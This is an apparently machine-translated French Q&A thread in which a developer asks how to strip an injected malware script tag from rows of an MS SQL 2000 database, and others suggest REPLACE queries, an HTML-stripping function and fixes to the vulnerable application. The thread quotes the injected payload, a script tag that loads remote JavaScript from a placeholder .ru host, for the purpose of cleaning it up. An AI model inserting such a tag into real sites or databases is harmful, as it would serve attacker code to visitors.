2009-10-29 1 views
1

J'ai reçu une base de données MS SQL 2000 à laquelle un logiciel malveillant a été injecté. Le script malware est comme suit:Impossible de supprimer le script injecté des lignes de la base de données

<script src=http://www.someAddress.ru/aScript.js></script> 

Maintenant, je veux retirer ce morceau de code à partir des lignes de la table.

En tant que test, j'inputed < h1> Test </h1> sur une ligne, et a dirigé avec succès la requête suivante:

UPDATE myTable 
SET description = REPLACE (description, '<h1>','') 
WHERE id = 2; 

Cette supprimé la balise h1.

Mais essayer la même chose avec la balise de script ne fonctionne pas:

UPDATE myTable 
set description = REPLACE (description, '<script src=http://www.someAddress.ru/aScript.js></script>','') 
WHERE id = 2 

Pourquoi cela ne fonctionne pas?

MISE À JOUR 2
WOHO! J'ai trouvé la solution! J'utilise le code folloing, que je trouve ici: http://www.tek-tips.com/viewthread.cfm?qid=1563568&page=3

-- Look for open and close HTML tags making sure a letter or/follows < ensuring its an opening 
-- HTML tag or closing HTML tag and not an unencoded < symbol 
CREATE FUNCTION [dbo].[udf_StripHTML] 
    (@HTMLText VARCHAR(8000)) 
RETURNS VARCHAR(8000) 
      AS 
    BEGIN 
    DECLARE @Start INT 
    DECLARE @End INT 
    DECLARE @Length INT 
     SET @Start = CHARINDEX('<',@HTMLText) 
     SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText)) 
     SET @Length = (@End - @Start) + 1 
    WHILE @Start > 0 
       AND @End > 0 
      AND @Length > 0 
     BEGIN 
     SET @HTMLText = STUFF(@HTMLText,@Start,@Length,'') 
     SET @Start = CHARINDEX('<',@HTMLText) 
     SET @End = CHARINDEX('>',@HTMLText,CHARINDEX('<',@HTMLText)) 
     SET @Length = (@End - @Start) + 1 
     END 
    RETURN Replace(LTRIM(RTRIM(@HTMLText)),'&nbsp;',' ') 
    END 
GO 

Pour supprimer les balises HTML/scripts, je lance la requête suivante:

UPDATE mytable 
SET description = [dbo].[udf_StripHTML](description) 
//WHERE id = 35; 

Cela fonctionne parfaitement. Notez que ce script supprime TOUS les fichiers html. Donc, si je veux seulement supprimer le script <>, je remplace simplement '<' par '< script'.

+2

Ma première pensée serait des sauts de ligne ... –

+0

@rexem: pouvez-vous élaborer? – Steven

Répondre

1

Avez-vous essayé de chercher seulement aScript.js, l'entrée pourrait être url_encoded, ou quelque chose de similaire, il donne quelque chose comme

 
%3Cscript+src%3Dhttp%3A%2F%2Fwww.someAddress.ru%2FaScript.js%3E%3C%2Fscript%3E 

Relire Question

Voulez-vous dire que même lorsque vous avez le tag de script dans une colonne avec id = 2 cela ne fonctionne pas? Parce que si ça ne marche pas, es-tu sûr qu'il existe en ligne avec id = 2? : p

+0

Faire un SELECT dans le gestionnaire de serveur affiche le texte en texte clair – Steven

+0

"Sélectionnez la description du document où id = 2" ---> Steven

1

Devrait fonctionner, sauf s'il y a d'autres caractères cachés là-dedans que vous ne pouvez pas voir, ou il y a une forme de codage qui se passe. Pouvez-vous sélectionner une ligne suspecte à regarder de plus près. J'ai tendance à complètement DELETE FROM myTable WHERE description LIKE '%someAddress.ru%' lorsque cela est possible.

Cependant, la réparation de la base de données n'est pas une solution réelle; l'application doit être fixe. Il ne devrait jamais être un écho de texte hors de la base de données non codé. Si quelqu'un entre certaines données, y compris la chaîne <script>, il devrait simplement apparaître sur la page comme la chaîne littérale <script>, ou dans la source &lt;script>.

+0

Je connais le l'application doit être réparée. C'est juste une solution rapide et sale, pour remettre le site en marche. Je ne peux pas supprimer les lignes, car 95% de toutes les lignes de la table ont ce script. Je dois juste enlever le script. – Steven

+0

Oh, alors vous avez aussi eu une injection SQL, en plus de ça? Aie. Si c'est quelque chose comme l'attaque automatisée d'Asprox, vous allez être à nouveau immédiatement propriétaire si vous mettez l'application non corrigée en place. – bobince

1

La valeur de l'attribut src ne serait-elle pas entourée de guillemets? Si c'est le cas, vous devrez leur échapper pour obtenir une correspondance correcte sur le remplacement.

1

Pourquoi ne pas essayer:

UPDATE myTable 
set description = REPLACE (description, 'www.someAddress.ru','localhost') 
WHERE id = 2 

Cela éliminerait le problème de détournement immédiat, et serait probablement éviter les problèmes de saut de ligne/personnages funky.

+0

Oui, c'est une option. Mais j'ai trouvé la solution de supprimer le lien du script entier. Voir la solution ci-dessus. – Steven

-1

Conserver ...

La base de données est-elle liée à un système financier? L'application est-elle sous Sarbanes-Oxley? Une fraude a-t-elle été commise? L'une de ces choses vous empêche d'apporter des modifications qui «détruiraient les preuves». Ces petits gars qui courent avec "FBI" sur leurs vestes ne sont pas gentils avec ça. Ce serait une bonne chose de le sauvegarder maintenant, et les logs (SQL et Web), et de mettre cette sauvegarde sur quelques DVD. Il vaudrait mieux enlever le disque et en mettre un autre (mais ce n'est peut-être pas une option).

Passage au nettoyage: La direction de bobince est la bonne. Ne cherchez pas l'ensemble du tag SCRIPT, ou essayez de trouver des variantes. Au lieu de cela, recherchez quelque chose dans la balise de script qui ne fait pas partie de l'ensemble de données normal. C'est ce que tu touches. Si elle sélectionne OK, alors transformez-la en DELETE et sauvegardez cette requête, car vous en aurez besoin pendant que vous vous tournerez vers la réparation de l'application (garantie que votre base de données sera à nouveau corrompue).

+0

Sarbanes-Oxley: si la société qui exécute cette application est cotée en bourse, il y a de fortes chances qu'elle soit couverte par SOx. Si l'application est auditée de quelque façon que ce soit, les auditeurs devront savoir ce qui s'est passé. Ugh, alors il y a le contrôle des changements ... – inked

+0

J'ai besoin de suggestions pour une solution. Et si vous lisez mon commentaire à Bobince, je ne peux pas supprimer les lignes. – Steven

+0

Oh, eh bien, amusez-vous à essayer de comprendre cela par vous-même. – inked

0

Vous pouvez essayer ce qui suit pour dépouiller le code de votre champ (je suppose que vous avez des informations dans le même domaine que vous voulez garder):

update myTable 
set description = case when PATINDEX('%<script%', notes) > 0 
     then SUBSTRING(notes, 1, PATINDEX('%<script%', notes)-1) + SUBSTRING(notes, PATINDEX('%script>%', notes) + 7, LEN(notes)) 
     else notes 
     end 
where id=2 

Vous pouvez d'abord exécuter une sélection pour voir si la valeur renvoyée par l'instruction CASE est correcte avant d'exécuter la mise à jour. Cela ne devrait cependant pas affecter les champs sans balise de script.

+0

Ah, merci. Je n'ai pas vu celui-ci jusqu'à ce que je trouve ma propre solution. – Steven

Questions connexes